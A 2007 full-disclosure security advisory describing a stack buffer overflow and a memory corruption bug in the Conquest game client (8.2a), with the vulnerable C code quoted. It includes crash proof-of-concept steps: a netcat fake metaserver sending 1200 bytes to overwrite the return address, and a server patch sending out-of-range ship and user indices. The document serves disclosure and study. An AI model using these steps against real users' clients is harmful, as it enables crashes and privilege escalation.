Date: Thu, 8 Mar 2007 00:40:10 +0100
From: Luigi Auriemma <aluigi@...istici.org>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com,
	news@...uriteam.com, full-disclosure@...ts.grok.org.uk,
	vuln@...unia.com, packet@...ketstormsecurity.org
Subject: Buffer-overflow in Conquest client 8.2a (svn 691)


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                             Luigi Auriemma

Application:  Conquest
              http://www.radscan.com/conquest.html
Versions:     <= 8.2a (svn 691)
Platforms:    *nix and Windows
Bugs:         A] buffer-overflow in metaGetServerList()
              B] memory corruption through SP_CLIENTSTAT
Exploitation: local and remote, versus the client
Date:         07 Mar 2007
Author:       Luigi Auriemma
              e-mail: aluigi@...istici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Conquest is a multi-player game which can be defined the predecessor of
Netrek (http://www.netrek.org).
Note that on some distros (like Debian) the conquest's binaries are
marked setgid for the conquest group.


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=======
2) Bugs
=======

-----------------------------------------
A] buffer-overflow in metaGetServerList()
-----------------------------------------

The Conquest client has an option (-m) for the querying of the
metaserver conquest.radscan.com on which are listed the servers
currently online but the program allows the usage of alternative
metaservers too.

The function which reads the data received from the metaserver is
affected by a stack based buffer-overflow which happens during the
storing of the line containing the server's entry in a buffer (buf) of
1024 bytes.

The best exploitation of this bug is for local users who want to
escalate their privileges gaining the conquest group.

At the same time exists also another buffer-overflow which affects the
static servers buffer limited to 1000 (META_MAXSERVERS) max servers,
anyway doesn't seem possible to fully exploit this second bug for code
execution.

from meta.c:

int metaGetServerList(char *remotehost, metaSRec_t **srvlist)
{
  static metaSRec_t servers[META_MAXSERVERS];
  ...
  char buf[1024];               /* server buffer */
  ...
  off = 0;
  while (read(s, &c, 1) > 0)
    {
      if (c != '\n')
        {
          buf[off++] = c;
        }
      else
        {                       /* we got one */
          buf[off] = 0;

          /* convert to a metaSRec_t */
          if (str2srec(&servers[nums], buf))
            nums++;
            ...


------------------------------------------
B] memory corruption through SP_CLIENTSTAT
------------------------------------------

SP_CLIENTSTAT is a type of packet used by the server for sending some
informations about the ships and the users.

In this packet are located two numbers which are not correctly
sanitized by the client:
- unum: 16 bit, used for the Users structure
- snum:  8 bit, used for the Ships structure

Both the structures are placed in the cBasePtr buffer allocated at
runtime with 262144 (SIZEOF_COMMONBLOCK) bytes of memory: Users at
offset 388 where each element has a size of 264 bytes (total 132000)
and Ships at offset 141040 with 1124 bytes per element (total 23604).

In both the cases is possible to write one or more bytes in some zones
of the memory outside the original structures and the cBasePtr buffer,
but I think that code execution is practically impossible...

The following are the instructions used for handling the SP_CLIENTSTAT
packet and where is easily visible the writing of the scstat->team
value sent by the server:

    case SP_CLIENTSTAT:
      scstat = (spClientStat_t *)buf;
      Context.snum = scstat->snum;
      Context.unum = (int)ntohs(scstat->unum);
      Ships[Context.snum].team = scstat->team;
      clientFlags = scstat->flags;
      break;


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===========
3) The Code
===========


A]
- launch a fake metaserver which sends more than 1024 chars:
  perl -e 'print "a"x1200' | nc -l -p 1700 -v -v -n

- launch the client specifying the alternate metaserver:
  conquest -m -M 127.0.0.1

- interrupt the fake metaserver, conquest should have been crashed
  trying to executing the code at offset 0x61616161


B]
- get the source code of the server, modify the scstat.snum or
  scstat.unum value in the sendClientStat function located in server.c
  giving them values like 0xff (for snum) or htons(0xffff) (for unum)
  depending by what of the two bugs you want to test:

  scstat.type = SP_CLIENTSTAT;
  scstat.flags = flags;
- scstat.snum = snum;
+ scstat.snum = 0xff;
  scstat.team = team;
  scstat.unum = htons(unum);
  scstat.esystem = esystem;

- compile the new server, launch it and join with a client which will
  crash after the login


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======
4) Fix
======


SVN 693


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--- 
Luigi Auriemma
http://aluigi.org
http://mirror.aluigi.org

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